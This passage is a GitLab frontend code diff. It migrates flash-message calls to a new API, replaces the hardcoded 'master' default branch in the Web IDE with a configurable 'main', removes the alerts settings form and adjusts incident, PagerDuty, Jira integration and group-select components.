+++ b/app/assets/javascripts/ide/components/new_dropdown/modal.vue
@@ -1,7 +1,7 @@
<script>
import { GlModal, GlButton } from '@gitlab/ui';
import { mapActions, mapState, mapGetters } from 'vuex';
-import { deprecatedCreateFlash as flash } from '~/flash';
+import createFlash from '~/flash';
import { __, sprintf, s__ } from '~/locale';
import { modalTypes } from '../../constants';
import { trimPathComponents, getPathParent } from '../../utils';
@@ -57,16 +57,16 @@ export default {
if (this.modalType === modalTypes.rename) {
if (this.entries[this.entryName] && !this.entries[this.entryName].deleted) {
- flash(
- sprintf(s__('The name "%{name}" is already taken in this directory.'), {
+ createFlash({
+ message: sprintf(s__('The name "%{name}" is already taken in this directory.'), {
name: this.entryName,
}),
- 'alert',
- document,
- null,
- false,
- true,
- );
+ type: 'alert',
+ parent: document,
+ actionConfig: null,
+ fadeTransition: false,
+ addBodyClass: true,
+ });
} else {
let parentPath = this.entryName.split('/');
const name = parentPath.pop();
diff --git a/app/assets/javascripts/ide/constants.js b/app/assets/javascripts/ide/constants.js
index 6304423a3c0..4845b667b40 100644
--- a/app/assets/javascripts/ide/constants.js
+++ b/app/assets/javascripts/ide/constants.js
@@ -112,3 +112,5 @@ export const LIVE_PREVIEW_DEBOUNCE = 2000;
// This is the maximum number of files to auto open when opening the Web IDE
// from a merge request
export const MAX_MR_FILES_AUTO_OPEN = 10;
+
+export const DEFAULT_BRANCH = 'main';
diff --git a/app/assets/javascripts/ide/ide_router.js b/app/assets/javascripts/ide/ide_router.js
index cb59cd7a8df..5f60bf0269d 100644
--- a/app/assets/javascripts/ide/ide_router.js
+++ b/app/assets/javascripts/ide/ide_router.js
@@ -16,8 +16,8 @@ Vue.use(IdeRouter);
/**
* Routes below /-/ide/:
-/project/h5bp/html5-boilerplate/blob/master
-/project/h5bp/html5-boilerplate/blob/master/app/js/test.js
+/project/h5bp/html5-boilerplate/blob/main
+/project/h5bp/html5-boilerplate/blob/main/app/js/test.js
/project/h5bp/html5-boilerplate/mr/123
/project/h5bp/html5-boilerplate/mr/123/app/js/test.js
@@ -39,7 +39,7 @@ const EmptyRouterComponent = {
},
};
-export const createRouter = (store) => {
+export const createRouter = (store, defaultBranch) => {
const router = new IdeRouter({
mode: 'history',
base: joinPaths(gon.relative_url_root || '', '/-/ide/'),
@@ -58,7 +58,7 @@ export const createRouter = (store) => {
},
{
path: ':targetmode(edit|tree|blob)',
- redirect: (to) => joinPaths(to.path, '/master/-/'),
+ redirect: (to) => joinPaths(to.path, `/${defaultBranch}/-/`),
},
{
path: 'merge_requests/:mrid',
@@ -66,7 +66,7 @@ export const createRouter = (store) => {
},
{
path: '',
- redirect: (to) => joinPaths(to.path, '/edit/master/-/'),
+ redirect: (to) => joinPaths(to.path, `/edit/${defaultBranch}/-/`),
},
],
},
diff --git a/app/assets/javascripts/ide/index.js b/app/assets/javascripts/ide/index.js
index 7109c45a3fe..e8c726d6184 100644
--- a/app/assets/javascripts/ide/index.js
+++ b/app/assets/javascripts/ide/index.js
@@ -1,6 +1,7 @@
import { identity } from 'lodash';
import Vue from 'vue';
import { mapActions } from 'vuex';
+import { DEFAULT_BRANCH } from '~/ide/constants';
import PerformancePlugin from '~/performance/vue_performance_plugin';
import Translate from '~/vue_shared/translate';
import { parseBoolean } from '../lib/utils/common_utils';
@@ -38,7 +39,7 @@ export function initIde(el, options = {}) {
const { rootComponent = ide, extendStore = identity } = options;
const store = createStore();
- const router = createRouter(store);
+ const router = createRouter(store, el.dataset.defaultBranch || DEFAULT_BRANCH);
return new Vue({
el,
diff --git a/app/assets/javascripts/ide/stores/actions/merge_request.js b/app/assets/javascripts/ide/stores/actions/merge_request.js
index 74423cd7376..5e020f16104 100644
--- a/app/assets/javascripts/ide/stores/actions/merge_request.js
+++ b/app/assets/javascripts/ide/stores/actions/merge_request.js
@@ -1,4 +1,4 @@
-import { deprecatedCreateFlash as flash } from '~/flash';
+import createFlash from '~/flash';
import { __ } from '~/locale';
import { leftSidebarViews, PERMISSION_READ_MR, MAX_MR_FILES_AUTO_OPEN } from '../../constants';
import service from '../../services';
@@ -34,14 +34,14 @@ export const getMergeRequestsForBranch = (
}
})
.catch((e) => {
- flash(
- __(`Error fetching merge requests for ${branchId}`),
- 'alert',
- document,
- null,
- false,
- true,
- );
+ createFlash({
+ message: __(`Error fetching merge requests for ${branchId}`),
+ type: 'alert',
+ parent: document,
+ actionConfig: null,
+ fadeTransition: false,
+ addBodyClass: true,
+ });
throw e;
});
};
@@ -236,7 +236,7 @@ export const openMergeRequest = async (
await dispatch('openMergeRequestChanges', changes);
} catch (e) {
- flash(__('Error while loading the merge request. Please try again.'));
+ createFlash({ message: __('Error while loading the merge request. Please try again.') });
throw e;
}
};
diff --git a/app/assets/javascripts/ide/stores/modules/terminal/actions/session_controls.js b/app/assets/javascripts/ide/stores/modules/terminal/actions/session_controls.js
index 6c9be6d10c9..82d9300d30b 100644
--- a/app/assets/javascripts/ide/stores/modules/terminal/actions/session_controls.js
+++ b/app/assets/javascripts/ide/stores/modules/terminal/actions/session_controls.js
@@ -1,4 +1,4 @@
-import { deprecatedCreateFlash as flash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import httpStatus from '~/lib/utils/http_status';
import * as terminalService from '../../../../services/terminals';
@@ -26,7 +26,7 @@ export const receiveStartSessionSuccess = ({ commit, dispatch }, data) => {
};
export const receiveStartSessionError = ({ dispatch }) => {
- flash(messages.UNEXPECTED_ERROR_STARTING);
+ createFlash({ message: messages.UNEXPECTED_ERROR_STARTING });
dispatch('killSession');
};
@@ -59,7 +59,7 @@ export const receiveStopSessionSuccess = ({ dispatch }) => {
};
export const receiveStopSessionError = ({ dispatch }) => {
- flash(messages.UNEXPECTED_ERROR_STOPPING);
+ createFlash({ message: messages.UNEXPECTED_ERROR_STOPPING });
dispatch('killSession');
};
diff --git a/app/assets/javascripts/ide/stores/modules/terminal/actions/session_status.js b/app/assets/javascripts/ide/stores/modules/terminal/actions/session_status.js
index da10894c2c6..7fe1a8cc2df 100644
--- a/app/assets/javascripts/ide/stores/modules/terminal/actions/session_status.js
+++ b/app/assets/javascripts/ide/stores/modules/terminal/actions/session_status.js
@@ -1,4 +1,4 @@
-import { deprecatedCreateFlash as flash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import * as messages from '../messages';
import * as types from '../mutation_types';
@@ -42,7 +42,7 @@ export const receiveSessionStatusSuccess = ({ commit, dispatch }, data) => {
};
export const receiveSessionStatusError = ({ dispatch }) => {
- flash(messages.UNEXPECTED_ERROR_STATUS);
+ createFlash({ message: messages.UNEXPECTED_ERROR_STATUS });
dispatch('killSession');
};
diff --git a/app/assets/javascripts/ide/utils.js b/app/assets/javascripts/ide/utils.js
index 63c53737119..275fecc5a32 100644
--- a/app/assets/javascripts/ide/utils.js
+++ b/app/assets/javascripts/ide/utils.js
@@ -146,7 +146,7 @@ export function getFileEOL(content = '') {
* hello.md -> hello-1.md
* hello_2.md -> hello_3.md
* hello_ -> hello_1
- * master-patch-22432 -> master-patch-22433
+ * main-patch-22432 -> main-patch-22433
* patch_332 -> patch_333
*
* @param {string} filename File name or branch name
diff --git a/app/assets/javascripts/import_entities/import_groups/components/import_table_row.vue b/app/assets/javascripts/import_entities/import_groups/components/import_table_row.vue
index 60cd5bb0a96..63c18f4d78e 100644
--- a/app/assets/javascripts/import_entities/import_groups/components/import_table_row.vue
+++ b/app/assets/javascripts/import_entities/import_groups/components/import_table_row.vue
@@ -15,7 +15,7 @@ import ImportStatus from '../../components/import_status.vue';
import { STATUSES } from '../../constants';
import addValidationErrorMutation from '../graphql/mutations/add_validation_error.mutation.graphql';
import removeValidationErrorMutation from '../graphql/mutations/remove_validation_error.mutation.graphql';
-import groupQuery from '../graphql/queries/group.query.graphql';
+import groupAndProjectQuery from '../graphql/queries/groupAndProject.query.graphql';
const DEBOUNCE_INTERVAL = 300;
@@ -47,21 +47,21 @@ export default {
},
apollo: {
- existingGroup: {
- query: groupQuery,
+ existingGroupAndProject: {
+ query: groupAndProjectQuery,
debounce: DEBOUNCE_INTERVAL,
variables() {
return {
fullPath: this.fullPath,
};
},
- update({ existingGroup }) {
+ update({ existingGroup, existingProject }) {
const variables = {
field: 'new_name',
sourceGroupId: this.group.id,
};
- if (!existingGroup) {
+ if (!existingGroup && !existingProject) {
this.$apollo.mutate({
mutation: removeValidationErrorMutation,
variables,
@@ -71,7 +71,7 @@ export default {
mutation: addValidationErrorMutation,
variables: {
...variables,
- message: s__('BulkImport|Name already exists.'),
+ message: this.$options.i18n.NAME_ALREADY_EXISTS,
},
});
}
@@ -115,6 +115,10 @@ export default {
return joinPaths(gon.relative_url_root || '/', this.fullPath);
},
},
+
+ i18n: {
+ NAME_ALREADY_EXISTS: s__('BulkImport|Name already exists.'),
+ },
};
</script>
@@ -153,7 +157,7 @@ export default {
:text="importTarget.target_namespace"
:disabled="isAlreadyImported"
toggle-class="gl-rounded-top-right-none! gl-rounded-bottom-right-none!"
- class="import-entities-namespace-dropdown gl-h-7 gl-flex-fill-1"
+ class="import-entities-namespace-dropdown gl-h-7 gl-flex-grow-1"
data-qa-selector="target_namespace_selector_dropdown"
>
<gl-dropdown-item @click="$emit('update-target-namespace', '')">{{
@@ -180,7 +184,7 @@ export default {
>
/
</div>
- <div class="gl-flex-fill-1">
+ <div class="gl-flex-grow-1">
<gl-form-input
class="gl-rounded-top-left-none gl-rounded-bottom-left-none"
:class="{ 'is-invalid': isInvalid && !isAlreadyImported }"
diff --git a/app/assets/javascripts/import_entities/import_groups/graphql/queries/group.query.graphql b/app/assets/javascripts/import_entities/import_groups/graphql/queries/group.query.graphql
deleted file mode 100644
index 52df3581ac4..00000000000
--- a/app/assets/javascripts/import_entities/import_groups/graphql/queries/group.query.graphql
+++ /dev/null
@@ -1,5 +0,0 @@
-query group($fullPath: ID!) {
- existingGroup: group(fullPath: $fullPath) {
- id
- }
-}
diff --git a/app/assets/javascripts/import_entities/import_groups/graphql/queries/groupAndProject.query.graphql b/app/assets/javascripts/import_entities/import_groups/graphql/queries/groupAndProject.query.graphql
new file mode 100644
index 00000000000..d6124f84025
--- /dev/null
+++ b/app/assets/javascripts/import_entities/import_groups/graphql/queries/groupAndProject.query.graphql
@@ -0,0 +1,9 @@
+query groupAndProject($fullPath: ID!) {
+ existingGroup: group(fullPath: $fullPath) {
+ id
+ }
+
+ existingProject: project(fullPath: $fullPath) {
+ id
+ }
+}
diff --git a/app/assets/javascripts/import_entities/import_projects/store/actions.js b/app/assets/javascripts/import_entities/import_projects/store/actions.js
index 33f8dbb8737..5cbc6e85bf3 100644
--- a/app/assets/javascripts/import_entities/import_projects/store/actions.js
+++ b/app/assets/javascripts/import_entities/import_projects/store/actions.js
@@ -1,5 +1,5 @@
import Visibility from 'visibilityjs';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
import httpStatusCodes from '~/lib/utils/http_status';
@@ -75,19 +75,19 @@ const fetchReposFactory = ({ reposPath = isRequired() }) => ({ state, commit })
if (hasRedirectInError(e)) {
redirectToUrlInError(e);
} else if (tooManyRequests(e)) {
- createFlash(
- sprintf(s__('ImportProjects|%{provider} rate limit exceeded. Try again later'), {
+ createFlash({
+ message: sprintf(s__('ImportProjects|%{provider} rate limit exceeded. Try again later'), {
provider: capitalizeFirstCharacter(provider),
}),
- );
+ });
commit(types.RECEIVE_REPOS_ERROR);
} else {
- createFlash(
- sprintf(s__('ImportProjects|Requesting your %{provider} repositories failed'), {
+ createFlash({
+ message: sprintf(s__('ImportProjects|Requesting your %{provider} repositories failed'), {
provider,
}),
- );
+ });
commit(types.RECEIVE_REPOS_ERROR);
}
@@ -126,7 +126,9 @@ const fetchImportFactory = (importPath = isRequired()) => ({ state, commit, gett
)
: s__('ImportProjects|Importing the project failed');
- createFlash(flashMessage);
+ createFlash({
+ message: flashMessage,
+ });
commit(types.RECEIVE_IMPORT_ERROR, repoId);
});
@@ -149,7 +151,9 @@ export const fetchJobsFactory = (jobsPath = isRequired()) => ({ state, commit, d
if (hasRedirectInError(e)) {
redirectToUrlInError(e);
} else {
- createFlash(s__('ImportProjects|Update of imported projects with realtime changes failed'));
+ createFlash({
+ message: s__('ImportProjects|Update of imported projects with realtime changes failed'),
+ });
}
},
});
@@ -175,7 +179,9 @@ const fetchNamespacesFactory = (namespacesPath = isRequired()) => ({ commit }) =
commit(types.RECEIVE_NAMESPACES_SUCCESS, convertObjectPropsToCamelCase(data, { deep: true })),
)
.catch(() => {
- createFlash(s__('ImportProjects|Requesting namespaces failed'));
+ createFlash({
+ message: s__('ImportProjects|Requesting namespaces failed'),
+ });
commit(types.RECEIVE_NAMESPACES_ERROR);
});
diff --git a/app/assets/javascripts/incidents/components/incidents_list.vue b/app/assets/javascripts/incidents/components/incidents_list.vue
index af99341b11f..4d34daa43ba 100644
--- a/app/assets/javascripts/incidents/components/incidents_list.vue
+++ b/app/assets/javascripts/incidents/components/incidents_list.vue
@@ -10,6 +10,7 @@ import {
GlIcon,
GlEmptyState,
} from '@gitlab/ui';
+import { isValidSlaDueAt } from 'ee_else_ce/vue_shared/components/incidents/utils';
import { visitUrl, mergeUrlParams, joinPaths } from '~/lib/utils/url_utility';
import { s__ } from '~/locale';
import { INCIDENT_SEVERITY } from '~/sidebar/components/severity/constants';
@@ -287,6 +288,7 @@ export default {
errorAlertDismissed() {
this.isErrorAlertDismissed = true;
},
+ isValidSlaDueAt,
},
};
</script>
@@ -367,7 +369,13 @@ export default {
</template>
<template v-if="slaFeatureAvailable" #cell(incidentSla)="{ item }">
- <service-level-agreement-cell :sla-due-at="item.slaDueAt" data-testid="incident-sla" />
+ <service-level-agreement-cell
+ v-if="isValidSlaDueAt(item.slaDueAt)"
+ :issue-iid="item.iid"
+ :project-path="projectPath"
+ :sla-due-at="item.slaDueAt"
+ data-testid="incident-sla"
+ />
</template>
<template #cell(assignees)="{ item }">
diff --git a/app/assets/javascripts/incidents_settings/components/alerts_form.vue b/app/assets/javascripts/incidents_settings/components/alerts_form.vue
deleted file mode 100644
index e8daad8811e..00000000000
--- a/app/assets/javascripts/incidents_settings/components/alerts_form.vue
+++ /dev/null
@@ -1,145 +0,0 @@
-<script>
-import {
- GlButton,
- GlSprintf,
- GlLink,
- GlIcon,
- GlFormGroup,
- GlFormCheckbox,
- GlDropdown,
- GlDropdownItem,
-} from '@gitlab/ui';
-import {
- I18N_ALERT_SETTINGS_FORM,
- NO_ISSUE_TEMPLATE_SELECTED,
- TAKING_INCIDENT_ACTION_DOCS_LINK,
- ISSUE_TEMPLATES_DOCS_LINK,
-} from '../constants';
-
-export default {
- components: {
- GlButton,
- GlSprintf,
- GlLink,
- GlFormGroup,
- GlIcon,
- GlFormCheckbox,
- GlDropdown,
- GlDropdownItem,
- },
- inject: ['service', 'alertSettings'],
- data() {
- return {
- templates: [NO_ISSUE_TEMPLATE_SELECTED, ...this.alertSettings.templates],
- createIssueEnabled: this.alertSettings.createIssue,
- issueTemplate: this.alertSettings.issueTemplateKey,
- sendEmailEnabled: this.alertSettings.sendEmail,
- autoCloseIncident: this.alertSettings.autoCloseIncident,
- loading: false,
- };
- },
- i18n: I18N_ALERT_SETTINGS_FORM,
- TAKING_INCIDENT_ACTION_DOCS_LINK,
- ISSUE_TEMPLATES_DOCS_LINK,
- computed: {
- issueTemplateHeader() {
- return this.issueTemplate || NO_ISSUE_TEMPLATE_SELECTED.name;
- },
- formData() {
- return {
- create_issue: this.createIssueEnabled,
- issue_template_key: this.issueTemplate,
- send_email: this.sendEmailEnabled,
- auto_close_incident: this.autoCloseIncident,
- };
- },
- },
- methods: {
- selectIssueTemplate(templateKey) {
- this.issueTemplate = templateKey;
- },
- isTemplateSelected(templateKey) {
- return templateKey === this.issueTemplate;
- },
- updateAlertsIntegrationSettings() {
- this.loading = true;
-
- this.service.updateSettings(this.formData).catch(() => {
- this.loading = false;
- });
- },
- },
-};
-</script>
-
-<template>
- <div>
- <p>
- <gl-sprintf :message="$options.i18n.introText">
- <template #docsLink>
- <gl-link :href="$options.TAKING_INCIDENT_ACTION_DOCS_LINK" target="_blank">
- <span>{{ $options.i18n.introLinkText }}</span>
- </gl-link>
- </template>
- </gl-sprintf>
- </p>
- <form ref="settingsForm" @submit.prevent="updateAlertsIntegrationSettings">
- <gl-form-group class="gl-pl-0">
- <gl-form-checkbox v-model="createIssueEnabled" data-qa-selector="create_issue_checkbox">
- <span>{{ $options.i18n.createIncident.label }}</span>
- </gl-form-checkbox>
- </gl-form-group>
-
- <gl-form-group
- label-size="sm"
- label-for="alert-integration-settings-issue-template"
- class="col-8 col-md-9 gl-px-6"
- >
- <label class="gl-display-inline-flex" for="alert-integration-settings-issue-template">
- {{ $options.i18n.incidentTemplate.label }}
- <gl-link :href="$options.ISSUE_TEMPLATES_DOCS_LINK" target="_blank">
- <gl-icon name="question" :size="12" />
- </gl-link>
- </label>
- <gl-dropdown
- id="alert-integration-settings-issue-template"
- data-qa-selector="incident_templates_dropdown"
- :text="issueTemplateHeader"
- :block="true"
- >
- <gl-dropdown-item
- v-for="template in templates"
- :key="template.key"
- data-qa-selector="incident_templates_item"
- :is-check-item="true"
- :is-checked="isTemplateSelected(template.key)"
- @click="selectIssueTemplate(template.key)"
- >
- {{ template.name }}
- </gl-dropdown-item>
- </gl-dropdown>
- </gl-form-group>
-
- <gl-form-group class="gl-pl-0 gl-mb-5">
- <gl-form-checkbox v-model="sendEmailEnabled">
- <span>{{ $options.i18n.sendEmail.label }}</span>
- </gl-form-checkbox>
- </gl-form-group>
- <gl-form-group class="gl-pl-0 gl-mb-5">
- <gl-form-checkbox v-model="autoCloseIncident">
- <span>{{ $options.i18n.autoCloseIncidents.label }}</span>
- </gl-form-checkbox>
- </gl-form-group>
- <gl-button
- ref="submitBtn"
- data-qa-selector="save_changes_button"
- :disabled="loading"
- variant="success"
- type="submit"
- class="js-no-auto-disable"
- >
- {{ $options.i18n.saveBtnLabel }}
- </gl-button>
- </form>
- </div>
-</template>
diff --git a/app/assets/javascripts/incidents_settings/components/incidents_settings_tabs.vue b/app/assets/javascripts/incidents_settings/components/incidents_settings_tabs.vue
index 0746725153d..af4905deef4 100644
--- a/app/assets/javascripts/incidents_settings/components/incidents_settings_tabs.vue
+++ b/app/assets/javascripts/incidents_settings/components/incidents_settings_tabs.vue
@@ -1,7 +1,6 @@
<script>
import { GlButton, GlTabs, GlTab } from '@gitlab/ui';
import { INTEGRATION_TABS_CONFIG, I18N_INTEGRATION_TABS } from '../constants';
-import AlertsSettingsForm from './alerts_form.vue';
import PagerDutySettingsForm from './pagerduty_form.vue';
export default {
@@ -9,11 +8,15 @@ export default {
GlButton,
GlTabs,
GlTab,
- AlertsSettingsForm,
PagerDutySettingsForm,
ServiceLevelAgreementForm: () =>
import('ee_component/incidents_settings/components/service_level_agreement_form.vue'),
},
+ computed: {
+ activeTabs() {
+ return this.$options.tabs.filter((tab) => tab.active);
+ },
+ },
tabs: INTEGRATION_TABS_CONFIG,
i18n: I18N_INTEGRATION_TABS,
};
@@ -23,7 +26,7 @@ export default {
<section
id="incident-management-settings"
data-qa-selector="incidents_settings_content"
- class="settings no-animate qa-incident-management-settings"
+ class="settings no-animate"
>
<div class="settings-header">
<h4
@@ -42,15 +45,14 @@ export default {
<div class="settings-content">
<gl-tabs>
+ <service-level-agreement-form />
<gl-tab
- v-for="(tab, index) in $options.tabs"
- v-if="tab.active"
+ v-for="(tab, index) in activeTabs"
:key="`${tab.title}_${index}`"
:title="tab.title"
>
<component :is="tab.component" class="gl-pt-3" :data-testid="`${tab.component}-tab`" />
</gl-tab>
- <service-level-agreement-form />
</gl-tabs>
</div>
</section>
diff --git a/app/assets/javascripts/incidents_settings/components/pagerduty_form.vue b/app/assets/javascripts/incidents_settings/components/pagerduty_form.vue
index b56dd66342a..866d2ff399e 100644
--- a/app/assets/javascripts/incidents_settings/components/pagerduty_form.vue
+++ b/app/assets/javascripts/incidents_settings/components/pagerduty_form.vue
@@ -11,7 +11,6 @@ import {
GlModal,
GlModalDirective,
} from '@gitlab/ui';
-import { isEqual } from 'lodash';
import ClipboardButton from '~/vue_shared/components/clipboard_button.vue';
import { I18N_PAGERDUTY_SETTINGS_FORM, CONFIGURE_PAGERDUTY_WEBHOOK_DOCS_LINK } from '../constants';
@@ -50,14 +49,8 @@ export default {
pagerduty_active: this.active,
};
},
- isFormUpdated() {
- return isEqual(this.pagerDutySettings, {
- active: this.active,
- webhookUrl: this.webhookUrl,
- });
- },
isSaveDisabled() {
- return this.isFormUpdated || this.loading || this.resettingWebhook;
+ return this.loading || this.resettingWebhook;
},
webhookUpdateAlertMsg() {
return this.webhookUpdateFailed
@@ -123,13 +116,15 @@ export default {
</template>
</gl-sprintf>
</p>
- <form ref="settingsForm" @submit.prevent="updatePagerDutyIntegrationSettings">
+ <form ref="settingsForm">
<gl-form-group class="col-8 col-md-9 gl-p-0">
<gl-toggle
id="active"
v-model="active"
+ :disabled="isSaveDisabled"
:is-loading="loading"
:label="$options.i18n.activeToggle.label"
+ @change="updatePagerDutyIntegrationSettings"
/>
</gl-form-group>
@@ -166,15 +161,6 @@ export default {
{{ $options.i18n.webhookUrl.restKeyInfo }}
</gl-modal>
</gl-form-group>
- <gl-button
- ref="submitBtn"
- :disabled="isSaveDisabled"
- variant="success"
- type="submit"
- class="js-no-auto-disable"
- >
- {{ $options.i18n.saveBtnLabel }}
- </gl-button>
</form>
</div>
</template>
diff --git a/app/assets/javascripts/incidents_settings/constants.js b/app/assets/javascripts/incidents_settings/constants.js
index d479838b491..54e4bab6c10 100644
--- a/app/assets/javascripts/incidents_settings/constants.js
+++ b/app/assets/javascripts/incidents_settings/constants.js
@@ -3,11 +3,6 @@ import { __, s__ } from '~/locale';
/* Integration tabs constants */
export const INTEGRATION_TABS_CONFIG = [
{
- title: s__('IncidentSettings|Alert integration'),
- component: 'AlertsSettingsForm',
- active: true,
- },
- {
title: s__('IncidentSettings|PagerDuty integration'),
component: 'PagerDutySettingsForm',
active: true,
@@ -23,38 +18,10 @@ export const I18N_INTEGRATION_TABS = {
headerText: s__('IncidentSettings|Incidents'),
expandBtnLabel: __('Expand'),
subHeaderText: s__(
- 'IncidentSettings|Set up integrations with external tools to help better manage incidents.',
+ 'IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents.',
),
};
-/* Alerts integration settings constants */
-
-export const I18N_ALERT_SETTINGS_FORM = {
- saveBtnLabel: __('Save changes'),
- introText: __('Action to take when receiving an alert. %{docsLink}'),
- introLinkText: __('More information.'),
- createIncident: {
- label: __('Create an incident. Incidents are created for each alert triggered.'),
- },
- incidentTemplate: {
- label: __('Incident template (optional)'),
- },
- sendEmail: {
- label: __('Send a single email notification to Owners and Maintainers for new alerts.'),
- },
- autoCloseIncidents: {
- label: __(
- 'Automatically close associated incident when a recovery alert notification resolves an alert',
- ),
- },
-};
-
-export const NO_ISSUE_TEMPLATE_SELECTED = { key: '', name: __('No template selected') };
-export const TAKING_INCIDENT_ACTION_DOCS_LINK =
- '/help/operations/metrics/alerts#trigger-actions-from-alerts';
-export const ISSUE_TEMPLATES_DOCS_LINK =
- '/help/user/project/description_templates#create-an-issue-template';
-
/* PagerDuty integration settings constants */
export const I18N_PAGERDUTY_SETTINGS_FORM = {
diff --git a/app/assets/javascripts/incidents_settings/incidents_settings_service.js b/app/assets/javascripts/incidents_settings/incidents_settings_service.js
index 82b94c08381..83fd29a058e 100644
--- a/app/assets/javascripts/incidents_settings/incidents_settings_service.js
+++ b/app/assets/javascripts/incidents_settings/incidents_settings_service.js
@@ -1,4 +1,4 @@
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { refreshCurrentPage } from '~/lib/utils/url_utility';
import { ERROR_MSG } from './constants';
@@ -22,7 +22,10 @@ export default class IncidentsSettingsService {
.catch(({ response }) => {
const message = response?.data?.message || '';
- createFlash(`${ERROR_MSG} ${message}`, 'alert');
+ createFlash({
+ message: `${ERROR_MSG} ${message}`,
+ type: 'alert',
+ });
});
}
diff --git a/app/assets/javascripts/incidents_settings/index.js b/app/assets/javascripts/incidents_settings/index.js
index e9ba4294519..62c48a40026 100644
--- a/app/assets/javascripts/incidents_settings/index.js
+++ b/app/assets/javascripts/incidents_settings/index.js
@@ -13,14 +13,9 @@ export default () => {
const {
dataset: {
operationsSettingsEndpoint,
- templates,
- createIssue,
- issueTemplateKey,
- sendEmail,
pagerdutyActive,
pagerdutyWebhookUrl,
pagerdutyResetKeyPath,
- autoCloseIncident,
slaActive,
slaMinutes,
slaFeatureAvailable,
@@ -32,13 +27,6 @@ export default () => {
el,
provide: {
service,
- alertSettings: {
- templates: JSON.parse(templates),
- createIssue: parseBoolean(createIssue),
- issueTemplateKey,
- sendEmail: parseBoolean(sendEmail),
- autoCloseIncident: parseBoolean(autoCloseIncident),
- },
pagerDutySettings: {
active: parseBoolean(pagerdutyActive),
webhookUrl: pagerdutyWebhookUrl,
diff --git a/app/assets/javascripts/integrations/edit/components/jira_issues_fields.vue b/app/assets/javascripts/integrations/edit/components/jira_issues_fields.vue
index 9bc01cdd9fc..ec93980251b 100644
--- a/app/assets/javascripts/integrations/edit/components/jira_issues_fields.vue
+++ b/app/assets/javascripts/integrations/edit/components/jira_issues_fields.vue
@@ -1,5 +1,6 @@
<script>
import { GlFormGroup, GlFormCheckbox, GlFormInput, GlSprintf, GlLink } from '@gitlab/ui';
+import { mapGetters } from 'vuex';
import eventHub from '../event_hub';
import JiraUpgradeCta from './jira_upgrade_cta.vue';
@@ -70,6 +71,7 @@ export default {
};
},
computed: {
+ ...mapGetters(['isInheriting']),
validProjectKey() {
return !this.enableJiraIssues || Boolean(this.projectKey) || !this.validated;
},
@@ -116,7 +118,7 @@ export default {
</p>
<template v-if="showJiraIssuesIntegration">
<input name="service[issues_enabled]" type="hidden" :value="enableJiraIssues || false" />
- <gl-form-checkbox v-model="enableJiraIssues">
+ <gl-form-checkbox v-model="enableJiraIssues" :disabled="isInheriting">
{{ s__('JiraService|Enable Jira issues') }}
<template #help>
{{
@@ -161,6 +163,7 @@ export default {
:required="enableJiraIssues"
:state="validProjectKey"
:disabled="!enableJiraIssues"
+ :readonly="isInheriting"
/>
</gl-form-group>
<p v-if="gitlabIssuesEnabled">
diff --git a/app/assets/javascripts/integrations/edit/components/jira_trigger_fields.vue b/app/assets/javascripts/integrations/edit/components/jira_trigger_fields.vue
index 93d8bcc4c19..11e9b25f9a3 100644
--- a/app/assets/javascripts/integrations/edit/components/jira_trigger_fields.vue
+++ b/app/assets/javascripts/integrations/edit/components/jira_trigger_fields.vue
@@ -37,7 +37,7 @@ const issueTransitionOptions = [
help: s__(
'JiraService|Automatically transitions Jira issues to the "Done" category. %{linkStart}Learn more%{linkEnd}',
),
- link: helpPagePath('user/project/integrations/jira.html', {
+ link: helpPagePath('integration/jira/index.html', {
anchor: 'automatic-issue-transitions',
}),
},
@@ -47,7 +47,7 @@ const issueTransitionOptions = [
help: s__(
'JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}',
),
- link: helpPagePath('user/project/integrations/jira.html', {
+ link: helpPagePath('integration/jira/index.html', {
anchor: 'custom-issue-transitions',
}),
},
diff --git a/app/assets/javascripts/integrations/edit/components/trigger_fields.vue b/app/assets/javascripts/integrations/edit/components/trigger_fields.vue
index 42bc9e4c8a1..433fe21ad76 100644
--- a/app/assets/javascripts/integrations/edit/components/trigger_fields.vue
+++ b/app/assets/javascripts/integrations/edit/components/trigger_fields.vue
@@ -10,7 +10,7 @@ const typeWithPlaceholder = {
};
const placeholderForType = {
- [typeWithPlaceholder.SLACK]: __('general, development'),
+ [typeWithPlaceholder.SLACK]: __('#general, #development'),
[typeWithPlaceholder.MATTERMOST]: __('my-channel'),
};
diff --git a/app/assets/javascripts/invite_members/components/group_select.vue b/app/assets/javascripts/invite_members/components/group_select.vue
index 4a72e97db8c..2d1e57a1177 100644
--- a/app/assets/javascripts/invite_members/components/group_select.vue
+++ b/app/assets/javascripts/invite_members/components/group_select.vue
@@ -1,13 +1,20 @@
<script>
-import { GlDropdown, GlDropdownItem, GlDropdownText, GlSearchBoxByType } from '@gitlab/ui';
+import {
+ GlAvatarLabeled,
+ GlDropdown,
+ GlDropdownItem,
+ GlDropdownText,
+ GlSearchBoxByType,
+} from '@gitlab/ui';
import { debounce } from 'lodash';
-import Api from '~/api';
import { s__ } from '~/locale';
-import { SEARCH_DELAY } from '../constants';
+import { getGroups, getDescendentGroups } from '~/rest_api';
+import { SEARCH_DELAY, GROUP_FILTERS } from '../constants';
export default {
name: 'GroupSelect',
components: {
+ GlAvatarLabeled,
GlDropdown,
GlDropdownItem,
GlDropdownText,
@@ -16,6 +23,18 @@ export default {
model: {
prop: 'selectedGroup',
},
+ props: {
+ groupsFilter: {
+ type: String,
+ required: false,
+ default: GROUP_FILTERS.ALL,
+ },
+ parentGroupId: {
+ type: Number,
+ required: false,
+ default: null,
+ },
+ },
data() {
return {
isFetching: false,
@@ -43,12 +62,13 @@ export default {
methods: {
retrieveGroups: debounce(function debouncedRetrieveGroups() {
this.isFetching = true;
- return Api.groups(this.searchTerm, this.$options.defaultFetchOptions)
+ return this.fetchGroups()
.then((response) => {
this.groups = response.map((group) => ({
id: group.id,
name: group.full_name,
path: group.path,
+ avatarUrl: group.avatar_url,
}));
this.isFetching = false;
})
@@ -61,6 +81,18 @@ export default {
this.$emit('input', this.selectedGroup);
},
+ fetchGroups() {
+ switch (this.groupsFilter) {
